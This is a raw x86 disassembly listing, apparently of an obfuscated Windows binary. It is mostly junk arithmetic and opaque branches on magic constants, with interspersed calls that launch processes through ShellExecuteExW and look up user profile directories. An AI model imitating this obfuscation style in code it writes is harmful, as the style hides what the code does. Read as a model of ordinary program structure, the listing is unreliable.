mov ecx, dword [ebp - 0x1234]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
push 0xe5
push 0x48
movzx ecx, word [ebp - 0x3ea8]
push ecx
call fcn.00484830
jmp 0x40274c
mov dl, byte [ebp - 0x43c5]
mov byte [ebp - 0xa1dc], dl
cmp byte [ebp - 0xa1dc], 0x1a
je 0x402738
cmp byte [ebp - 0xa1dc], 0x49
je 0x40263c
jmp 0x40274c
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
add ecx, 0x6f9b760d
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
sub eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x19b4]
add edx, dword [ecx]
cmp eax, edx
je 0x402722
mov edx, dword [ebp - 0x1c44]
xor edx, 0xb0e3986e
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
movzx ecx, word [ebp - 0x3ea8]
mov dword [ebp - 0xa1e0], ecx
cmp dword [ebp - 0xa1e0], 0xa5d
je 0x4026b1
cmp dword [ebp - 0xa1e0], 0xf4e
je 0x40270d
jmp 0x402720
lea edx, [ebp - 0x4f00]
push edx
lea eax, [ebp - 0x106c]
push eax
lea ecx, [ebp - 0x2934]
push ecx
lea edx, [ebp - 0x4b34]
push edx
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0x7788], eax
mov eax, dword [ebp - 0x1234]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1c44]
shr edx, cl
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
lea ecx, [ebp - 0x6a94]
push ecx
mov edx, dword [ebp - 0x40e4]
push edx
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryW]
mov dword [ebp - 0x6a94], eax
jmp 0x402720
movzx eax, word [ebp - 0x4b34]
or eax, 0x544
mov word [ebp - 0x3ea8], ax
jmp 0x402736
push 0x4d
push 0xb3
movzx ecx, word [ebp - 0x3ea8]
push ecx
call fcn.00484830
jmp 0x40274c
mov edx, dword [ebp - 0xc4]
and edx, dword [ebp - 0x95d0]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov dword [ebp - 0x6044], 0x1a33
lea ecx, [ebp - 0x1c44]
mov dword [ebp - 0x3d88], ecx
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
mov dword [ebp - 0x659c], eax
mov cl, byte [ebp - 0x43c5]
mov byte [ebp - 0xa1e4], cl
cmp byte [ebp - 0xa1e4], 6
je 0x402800
cmp byte [ebp - 0xa1e4], 0x5b
je 0x402793
jmp 0x402816
mov edx, dword [ebp - 0x95d0]
sub edx, dword [ebp - 0xc4]
mov dword [ebp - 0x659c], edx
lea eax, [ebp - 0x9a8]
push eax
push 0x17
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x8038], eax
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x1c44]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x659c], eax
mov ecx, dword [ebp - 0xa038]
movzx edx, byte [ecx]
push edx
push 0x87
mov dl, 0x4f
mov cl, 0xa1
call fcn.004843f0
jmp 0x402816
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1c44]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x19b4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x97b0]
mov dl, byte [ecx]
mov byte [ebp - 0x4429], dl
movzx eax, word [ebp - 0x3ea8]
sub eax, 0x404
movzx ecx, word [ebp - 0x4b34]
cmp eax, ecx
jle 0x40286a
mov edx, dword [ebp - 0x97b0]
movzx eax, byte [edx]
push eax
call fcn.00484b30
add esp, 4
jmp 0x484171
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0xa038]
movsx eax, byte [edx]
or ecx, eax
movsx eax, byte [ebp - 0x4429]
mov edx, dword [ebp - 0x97b0]
movsx esi, byte [edx]
cdq
idiv esi
cmp ecx, eax
jge 0x402900
movzx eax, word [ebp - 0x4b34]
mov dword [ebp - 0xa1e8], eax
cmp dword [ebp - 0xa1e8], 0x4c7
je 0x4028b0
jmp 0x4028c4
push 0x80
push 0x27
movzx ecx, word [ebp - 0x3ea8]
push ecx
call fcn.00484830
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x1c44]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
lea edx, [ebp - 0x4b34]
push edx
mov eax, dword [ebp - 0x8c48]
push eax
mov ecx, dword [ebp - 0x340c]
push ecx
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [ebp - 0x6a94], eax
jmp 0x484129
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
mov dword [ebp - 0x1a68], eax
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1234]
add edx, dword [eax]
mov ecx, dword [ebp - 0x1c44]
sub ecx, dword [ebp - 0x5944]
cmp edx, ecx
jb 0x402947
mov edx, dword [ebp - 0x95d0]
mov ecx, dword [ebp - 0x1a68]
sar edx, cl
mov dword [ebp - 0x659c], edx
jmp 0x484063
movsx eax, byte [ebp - 0x4429]
movsx ecx, byte [ebp - 0x43c5]
add eax, ecx
mov edx, dword [ebp - 0xa038]
movsx ecx, byte [edx]
mov edx, dword [ebp - 0x97b0]
movsx edx, byte [edx]
sub ecx, edx
cmp eax, ecx
jle 0x484063
lea eax, [ebp - 0x4b34]
mov dword [ebp - 0x66b8], eax
cmp dword [ebp - 0x6044], 0xa48
jbe 0x402e1a
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x4b34]
sub edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0xa038]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x43c5]
sub eax, ecx
mov edx, dword [ebp - 0x97b0]
mov byte [edx], al
mov eax, dword [ebp - 0x97b0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x4429]
and ecx, edx
mov eax, dword [ebp - 0x97b0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
add ecx, dword [edx]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x8880]
add edx, dword [eax]
mov dword [ebp - 0x659c], edx
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ea8]
sub edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x5944]
sub eax, dword [edx]
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x8880]
add edx, dword [eax]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], edx
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c44]
mov dword [ebp - 0x5944], edx
movzx eax, word [ebp - 0x3ea8]
movzx ecx, word [ebp - 0x4b34]
sub eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [ebp - 0x3ea8]
sub eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
mov eax, dword [ebp - 0x8880]
mov edx, dword [ebp - 0xc4]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x1a68], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x659c], edx
mov eax, dword [ebp - 0x1234]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x590]
shr edx, cl
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x8880]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x1a68]
and ecx, dword [ebp - 0x659c]
mov dword [ebp - 0x95d0], ecx
movsx edx, byte [ebp - 0x43c5]
movsx eax, byte [ebp - 0x4429]
add edx, eax
mov ecx, dword [ebp - 0x97b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
add eax, dword [ebp - 0x590]
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ea8]
and edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
sub eax, ecx
mov word [ebp - 0x3ea8], ax
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
add eax, dword [ebp - 0x1c44]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ebp - 0x659c]
sub eax, dword [edx]
mov dword [ebp - 0xc4], eax
movzx ecx, word [ebp - 0x3ea8]
movzx edx, word [ebp - 0x4b34]
sub ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
movzx ecx, word [ebp - 0x3ea8]
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x4b34], cx
mov ecx, dword [ebp - 0x6044]
sub ecx, 0xa3
mov dword [ebp - 0x6044], ecx
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x3d88]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0xc4]
or eax, dword [ebp - 0x95d0]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x659c]
sar eax, cl
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x590]
xor edx, dword [ebp - 0x5944]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ea8]
and edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x95d0]
sub eax, dword [edx]
mov dword [ebp - 0x1a68], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x95d0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
add edx, dword [eax]
mov dword [ebp - 0xc4], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0xa038]
mov byte [edx], cl
mov eax, dword [ebp - 0x659c]
sub eax, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], eax
movzx ecx, word [ebp - 0x4b34]
movzx edx, word [ebp - 0x3ea8]
add ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
add edx, dword [eax]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], edx
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x1234]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x659c]
or edx, dword [ecx]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x4429]
shl edx, cl
mov byte [ebp - 0x43c5], dl
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4b34]
and ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5944]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x95d0]
add edx, dword [ecx]
mov dword [ebp - 0x659c], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x659c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x590]
add ecx, dword [eax]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [ebp - 0x3ea8]
sub eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
jmp 0x40297f
mov eax, 0x5800
mov word [ebp - 0x7074], ax
mov dword [ebp - 0x18b0], 0xcd6d
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x4429], cl
mov ecx, dword [ebp - 0x3edc]
add ecx, 0xe
mov dword [ebp - 0x3edc], ecx
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
add eax, dword [ebp - 0x1c44]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
add eax, dword [ecx]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], eax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x5944]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], ecx
movzx eax, word [ebp - 0x3ea8]
movzx ecx, word [ebp - 0x4b34]
or eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
mov eax, dword [ebp - 0x1a68]
xor eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c44]
shl eax, cl
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0xc4]
sar edx, cl
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x95d0]
and eax, dword [ebp - 0x1a68]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3ea8]
add eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
movzx eax, word [ebp - 0x3ea8]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x4b34], ax
mov eax, dword [ebp - 0x1234]
mov ecx, dword [ebp - 0x5944]
add ecx, dword [eax]
mov dword [ebp - 0x1c44], ecx
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1a68]
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
cmp dword [ebp - 0x3edc], 0xed65
jne 0x402e30
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x8880]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov dword [ebp - 0x89ac], 0x6c20
lea eax, [ebp - 0x1a68]
mov dword [ebp - 0x38ac], eax
cmp dword [ebp - 0x18b0], 0x11564
je 0x403283
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x38ac]
add edx, dword [eax]
mov dword [ebp - 0xc4], edx
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x4429], cl
movzx ecx, word [ebp - 0x4b34]
movzx edx, word [ebp - 0x3ea8]
sub ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x4b34]
xor edx, eax
mov word [ebp - 0x3ea8], dx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x19b4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x1c44]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x590]
or edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ea8]
add edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3ea8]
and eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x1a68], edx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1234]
add ecx, dword [edx]
mov dword [ebp - 0x5944], ecx
mov eax, dword [ebp - 0x1a68]
add eax, dword [ebp - 0xc4]
mov dword [ebp - 0x659c], eax
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x19b4]
add edx, dword [eax]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], edx
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4b34]
sub eax, ecx
mov word [ebp - 0x3ea8], ax
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x590]
add eax, dword [edx]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x590]
sub eax, dword [edx]
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
and edx, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], edx
movsx eax, word [ebp - 0x7074]
sar eax, 0xa
mov word [ebp - 0x7074], ax
movsx edx, byte [ebp - 0x43c5]
mov eax, dword [ebp - 0xa038]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x4429], dl
movzx ecx, word [ebp - 0x3ea8]
movzx edx, word [ebp - 0x4b34]
or ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ea8]
xor edx, eax
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], dx
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x5944]
sub eax, dword [edx]
mov dword [ebp - 0x1c44], eax
mov ecx, dword [ebp - 0x1a68]
add ecx, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x18b0]
add edx, 0xcf
mov dword [ebp - 0x18b0], edx
mov eax, dword [ebp - 0x1a68]
and eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5944]
sub edx, dword [ebp - 0x590]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x659c]
add edx, dword [ecx]
mov dword [ebp - 0x95d0], edx
movzx eax, word [ebp - 0x4b34]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x3ea8], ax
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x4b34]
add ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x1a68]
sub ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x95d0], ecx
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x5944]
add eax, dword [edx]
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x1a68], eax
jmp 0x402fa4
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
movzx edx, word [ebp - 0x3ea8]
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x4b34], dx
movsx ecx, word [ebp - 0x7074]
or ecx, 0x64ca
mov word [ebp - 0x7074], cx
movsx edx, byte [ebp - 0x43c5]
mov eax, dword [ebp - 0x97b0]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x4429], dl
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x590]
and edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x659c]
sub ecx, dword [ebp - 0x95d0]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x43c5]
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x4429], al
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x3ea8]
and ecx, edx
mov eax, dword [ebp - 0x66b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x5944]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x8880]
add edx, dword [eax]
mov dword [ebp - 0x659c], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ebp - 0x1a68]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c44]
sub ecx, dword [ebp - 0x590]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x43c5]
movsx ecx, byte [ebp - 0x4429]
add eax, ecx
mov edx, dword [ebp - 0x97b0]
mov byte [edx], al
mov eax, dword [ebp - 0x66b8]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x3ea8]
shl edx, cl
mov eax, dword [ebp - 0x66b8]
mov word [eax], dx
mov ecx, dword [ebp - 0x89ac]
add ecx, 0x78
mov dword [ebp - 0x89ac], ecx
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
or eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x4f00]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ebp - 0x8880]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x19b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x5944]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [ebp - 0x95d0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x659c]
mov edx, dword [ebp - 0x8880]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1234]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x3d88]
add ecx, dword [edx]
mov eax, dword [ebp - 0x1234]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x97b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x4429]
add edx, eax
mov ecx, dword [ebp - 0xa038]
mov byte [ecx], dl
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
sub eax, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], eax
cmp dword [ebp - 0x89ac], 0x7b20
jbe 0x403299
movzx ecx, word [ebp - 0x4b34]
movzx edx, word [ebp - 0x3ea8]
and ecx, edx
mov eax, dword [ebp - 0x66b8]
movzx edx, word [eax]
cmp ecx, edx
jg 0x403614
lea eax, [ebp - 0x3ea8]
mov dword [ebp - 0x206c], eax
movsx ecx, word [ebp - 0x7074]
mov dword [ebp - 0xa1ec], ecx
cmp dword [ebp - 0xa1ec], 0x64ca
je 0x4034fc
jmp 0x4035b2
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x95d0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x4f00]
mov ecx, dword [ecx]
sub ecx, dword [edx]
cmp eax, ecx
jge 0x4035a9
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
mov dword [ebp - 0xa1f0], eax
cmp dword [ebp - 0xa1f0], 0x2f4fd345
je 0x40358e
cmp dword [ebp - 0xa1f0], 0x35a1699d
je 0x40354a
jmp 0x4035a9
mov ecx, dword [ebp - 0x1234]
mov edx, dword [ebp - 0x1c44]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8c48]
push ecx
lea edx, [ebp - 0x7074]
push edx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [ebp - 0x6054], eax
mov eax, dword [ebp - 0x1a68]
or eax, dword [ebp - 0x95d0]
mov dword [ebp - 0xc4], eax
jmp 0x4035a9
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x4b34]
shl edx, cl
mov eax, dword [ebp - 0x66b8]
mov word [eax], dx
mov byte [ebp - 0x30a5], 0x48
jmp 0x4035cc
mov ecx, dword [ebp - 0x86e4]
push ecx
mov edx, dword [ebp - 0x8fc8]
push edx
call dword [sym.imp.SHELL32.dll_DuplicateIcon]
mov dword [ebp - 0x4d54], eax
mov dword [ebp - 0x3a7c], 0x1577
mov eax, dword [ebp - 0x590]
xor edx, edx
div dword [ebp - 0x1c44]
mov dword [ebp - 0x1f88], eax
mov eax, dword [ebp - 0x38ac]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], ecx
mov dword [ebp - 0x3254], 0x8068
mov dword [ebp - 0x8804], 0x10204
jmp 0x403679
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x8880]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x659c], edx
mov eax, dword [ebp - 0x97b0]
mov cl, byte [eax]
mov byte [ebp - 0xa1f4], cl
cmp byte [ebp - 0xa1f4], 0xa
je 0x40364e
cmp byte [ebp - 0xa1f4], 0x66
je 0x403666
jmp 0x403679
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
and eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
jmp 0x403679
lea edx, [ebp - 0x3e64]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x4510], eax
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
mov dword [ebp - 0xa1f8], ecx
cmp dword [ebp - 0xa1f8], 0
je 0x4036f4
cmp dword [ebp - 0xa1f8], 0x3cd
je 0x4036a2
jmp 0x403760
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], ax
mov edx, dword [ebp - 0x97b0]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x43c5]
push ecx
movzx edx, byte [ebp - 0x4429]
push edx
mov eax, dword [ebp - 0xa038]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x97b0]
movzx eax, byte [edx]
push eax
